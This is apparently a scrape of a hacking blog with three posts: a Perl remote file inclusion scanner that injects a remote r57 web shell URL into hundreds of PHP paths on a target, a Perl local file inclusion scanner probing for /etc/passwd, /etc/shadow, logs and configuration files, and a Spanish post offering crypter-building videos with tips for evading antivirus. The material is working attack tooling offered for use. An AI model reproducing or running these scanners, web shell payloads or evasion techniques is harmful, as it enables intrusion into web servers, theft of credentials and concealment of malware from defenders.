$rfi319="email.php?login=cer_skin=";

$rfi320="PhotoGal/ops/gals.php?news_file=";

$rfi321="index.php?custom=";

$rfi322="loginout.php?cutepath=";

$rfi323="oneadmin/config.php?path[docroot]=";

$rfi324="xcomic/initialize.php?xcomicRootPath=";

$rfi325="skin/zero_vote/setup.php?dir=";

$rfi326="skin/zero_vote/error.php? dir=";

$rfi327="admin_modules/admin_module_captions.inc.php?config[path_src_include]=";

$rfi328="admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=";

$rfi329="admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=";

$rfi330="admin_modules/admin_module_edit.inc.php?config[path_src_include]=";

$rfi331="admin_modules/admin_module_delimage.inc.php?config[path_src_include]=";

$rfi332="admin_modules/admin_module_deldir.inc.php?config[path_src_include]=";

$rfi333="src/index_overview.inc.php?config[path_src_include]=";

$rfi334="src/index_leftnavbar.inc.php?config[path_src_include]=";

$rfi335="src/index_image.inc.php?config[path_src_include]=";

$rfi336="src/image-gd.class.php?config[path_src_include]=";

$rfi337="src/image.class.php?config[path_src_include]=";

$rfi338="src/album.class.php?config[path_src_include]=";

$rfi339="src/show_random.inc.php?config[path_src_include]=";

$rfi340="src/main.inc.php?config[path_src_include]=";

$rfi341="src/index_passwd-admin.inc.php?config[path_admin_include]=";

$rfi342="yappa-ng/src/index_overview.inc.php?config[path_src_include]=";

$rfi343="admin_modules/admin_module_captions.inc.php?config[path_src_include]=";

$rfi344="admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=";

$rfi345="admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=";

$rfi346="admin_modules/admin_module_edit.inc.php?config[path_src_include]=";

$rfi347="admin_modules/admin_module_delimage.inc.php?config[path_src_include]=";

$rfi348="admin_modules/admin_module_deldir.inc.php?config[path_src_include]=";

$rfi349="src/index_overview.inc.php?config[path_src_include]=";

$rfi350="src/image-gd.class.php?config[path_src_include]=";

$rfi351="src/image.class.php?config[image_module]=";

$rfi352="src/album.class.php?config[path_src_include]=";

$rfi353="src/show_random.inc.php?config[path_src_include]=";

$rfi353="src/main.inc.php?config[path_src_include]=";

$rfi354="includes/db_adodb.php?baseDir=";

$rfi355="includes/db_connect.php?baseDir=";

$rfi356="includes/session.php?baseDir=";

$rfi357="modules/projects/gantt.php?dPconfig[root_dir]=";

$rfi358="modules/projects/gantt2.php?dPconfig[root_dir]=";

$rfi359="modules/projects/vw_files.php?dPconfig[root_dir]=";

$rfi360="modules/admin/vw_usr_roles.php?baseDir=";

$rfi361="modules/public/calendar.php?baseDir=";

$rfi362="modules/public/date_format.php?baseDir=";

$rfi363="modules/tasks/gantt.php?baseDir=";

$rfi364="mantis/login_page.php?g_meta_include_file=";

$rfi365="phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=";

$rfi366="modules/My_eGallery/public/displayCategory.php?basepath=";

$rfi367="dotproject/modules/files/index_table.php?root_dir=";

$rfi368="nukebrowser.php?filnavn=";

$rfi369="bug_sponsorship_list_view_inc.php?t_core_path=";

$rfi370="modules/coppermine/themes/coppercop/theme.php?THEME_DIR=";

$rfi371="modules/coppermine/themes/maze/theme.php?THEME_DIR=";

$rfi372="modules/coppermine/include/init.inc.php?CPG_M_DIR=";

$rfi373="includes/calendar.php?phpc_root_path=";

$rfi374="includes/setup.php?phpc_root_path=";

$rfi375="phpBB/admin/admin_styles.php?mode=";

$rfi376="aMember/plugins/db/mysql/mysql.inc.php?config=";

$rfi377="admin/lang.php?CMS_ADMIN_PAGE=";

$rfi378="inc/pipe.php?HCL_path=";

$rfi379="include/write.php?dir=";

$rfi380="becommunity/community/index.php?pageurl=";

$rfi381="modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi382="modules/mod_mainmenu.php?mosConfig_absolute_path=";

$rfi383="modules/agendax/addevent.inc.php?agendax_path=";

$rfi384="shoutbox/expanded.php?conf=";

$rfi385="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";

$rfi386="index.php?page=";

$rfi387="index.php?pag=";

$rfi388="index.php?include=";

$rfi389="index.php?content=";

$rfi390="index.php?cont=";

$rfi391="index.php?c=";

$rfi392="modules/My_eGallery/index.php?basepath=";

$rfi393="modules/newbb_plus/class/forumpollrenderer.php?bbPath=";

$rfi394="journal.php?m=";

$rfi395="index.php?m=";

$rfi396="links.php?c=";

$rfi397="forums.php?m=";

$rfi398="list.php?c=";

$rfi399="user.php?xoops_redirect=";

$rfi400="index.php?id=";

$rfi401="r.php?url=";

$rfi402="CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=";

$rfi403="inc/formmail.inc.php?script_root=";

$rfi404="include/init.inc.php?G_PATH=";

$rfi405="backend/addons/links/index.php?PATH=";

$rfi406="modules/newbb_plus/class/class.forumposts.php?bbPath[path]=";

$rfi407="modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=";

$rfi408="protection.php?siteurl=";

$rfi409="htmltonuke.php?filnavn=";

$rfi410="mail_autocheck.php?pm_path=";

$rfi411="modules/4nAlbum/public/displayCategory.php?basepath=";

$rfi412="modules/4nAlbum/public/displayCategory.php?basepath=";

$rfi413="e107/e107_handlers/secure_img_render.php?p=";

$rfi414="include/new-visitor.inc.php?lvc_include_dir=";

$rfi415="community/modules/agendax/addevent.inc.php?agendax_path=";

$rfi416="library/editor/editor.php?root=";

$rfi417="library/lib.php?root=";

$rfi418="zentrack/index.php?configFile=";

$rfi419="pivot/modules/module_db.php?pivot_path=";

$rfi420="myPHPCalendar/admin.php?cal_dir=";

$rfi421="index.php/main.php?x=";

$rfi422="os/pointer.php?url=";

$rfi423="p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=";

$rfi424="db.php?path_local=";

$rfi425="phpGedView/individual.php?PGV_BASE_DIRECTORY=";

$rfi426="index.php?kietu[url_hit]=";

$rfi427="phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=";

$rfi428="Sources/Packages.php?sourcedir=";

$rfi429="modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=";

$rfi430="cgi-bin//gadgets/Blog/BlogModel.php?path=";

$int = $values[ rand(4) ];

for($int=1;$int<430;$int++){ @cmdgif="http://usuarios.lycos.es/poizonbox/r57.txt?"; $lol="rfi"; $asd=$lol.$int; $url2="http://".$host."/".$$asd."@cmdgif?"; my $req=HTTP::Request->new(GET=>$url2);

my $ua=LWP::UserAgent->new();

$ua->timeout(10);

my $response=$ua->request($req);

if ($response->is_success) {

if( $response->content =~ /r57shell/ && $response->content =~ /by/ ){

open(FILE,">>file.txt");

print FILE "$url2\n";

close(FILE);

print "$url2 is vulnerable..\n";

}}

}

}

LFI scanner

2011-01-11T12:35:00.000-08:00

LFI scanner


#!/usr/bin/perl
#LFI Scanner By GlaDiaT0R
#My Mail: the_gl4di4t0r[AT]hotmail[DOT]com
#Tunisian Hacker [Proud To be Tunisian]
#Greetz To All My Freinds [Tunisian Hackers] 
#www.tunisianblackhat.com 
#www.tunisian-power.net

use Socket;
system('cls');
system('title LFI Scanner [C]oded by GlaDiaT0R      ');
use LWP::UserAgent;
use HTTP::Request;

regex();
header();

#data

print ">Enter The Link[...]\n";
print '>';chomp($link = );

if($link !~ /http:\/\//) { $link = "http://$link"; }

#httpd type scan

print "\n===>Press [enter] To Check the version of httpd[...]\n";
$httpd =;

$host = $link;
$useragent = LWP::UserAgent->new;
$resp = $useragent->head($host);
print $resp->headers_as_string;

print "\n>===>Press [ENTER] To Check LFI Vulnerability[...]\n";
$start =;

# scanning 315 paths

@vuls = ('/etc/passwd',
'/etc/shadow',
'/etc/cgi-bin',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_ log',
'/usr/local/apache/logs/access. log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log',
'/usr/local/apache2/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/access.log',
'/var/log/httpd/error_log',
'/var/log/httpd/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/access_log',
'/var/log/access.log',
'/var/log/error_log',
'/var/log/error.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log',
'/Program Files\Apache Group\Apache\logs\error.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/apache/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/www/logs/access_log',
'/var/www/logs/access.log',
'/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/var/www/logs/error.log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache/error.log',
'/var/log/access_log',
'/var/log/error_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf',
'/Program Files\xampp\apache\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/xampp\apache\bin\php.ini',
'/NetServer\bin\stable\apache\php.ini',
'/home2\bin\stable\apache\php.ini',
'/home\bin\stable\apache\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/usr/local/cpanel/logs/stats_log',
'/var/cpanel/cpanel.config',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog');

print ">start scaning[...]\n";


foreach $scan(@vuls){

$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
else { $msg = "Not Found";}

print "$scan..........[$msg]\n";
}

sub regex(){
$sis="$^O";if ($sis eq windows){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
}

sub header(){
print q{
#LFI Scanner
[+]----------LFI Scanner By GlaDiaT0R-------[+]
[+]-------------Coded By GlaDiat0R----------[+]
[+]--------Tunisian Hacker -----------------[+]
[+]------------Greetz to Allah--------------[+]
----------------------------------------------- 
};
}
#End Of LFI Scanner
###
#GlaDiaT0R
###

Creación de Crypter Runtime

2011-01-09T17:58:00.000-08:00

Para que no hagan Copy Y Paste Aprendan algo de Visual Basic porque de lo contrario no valdra la pena

Creacion del Crypter

Video: Creacion del Crypter
Peso: 40 MB
Descomprimido: : 55 MB
Duracion:  34:22
Formato: AVI



Agregando Funciones

Video: Agregando Funciones
Peso: 35 MB
Descomprimido: : 44 MB
Duracion:  27:09
Formato: AVI

Los modulos y el proyecto estan en la descarga de Agregando Funciones, les puse varios mas XD

Agrego: El Crypter Es Detectable por la mayoria de los Avs ,asi que  tienen que escribir el stub de forma diferente y hacerle algunas  Modificaciones al mismo
para que no sea tan detectado , si tienen algo de conocimiento de Visual Basic no se les dificultara mucho

Espero y hagan algunos aportes con esto , ya que me costo algo de tiempo 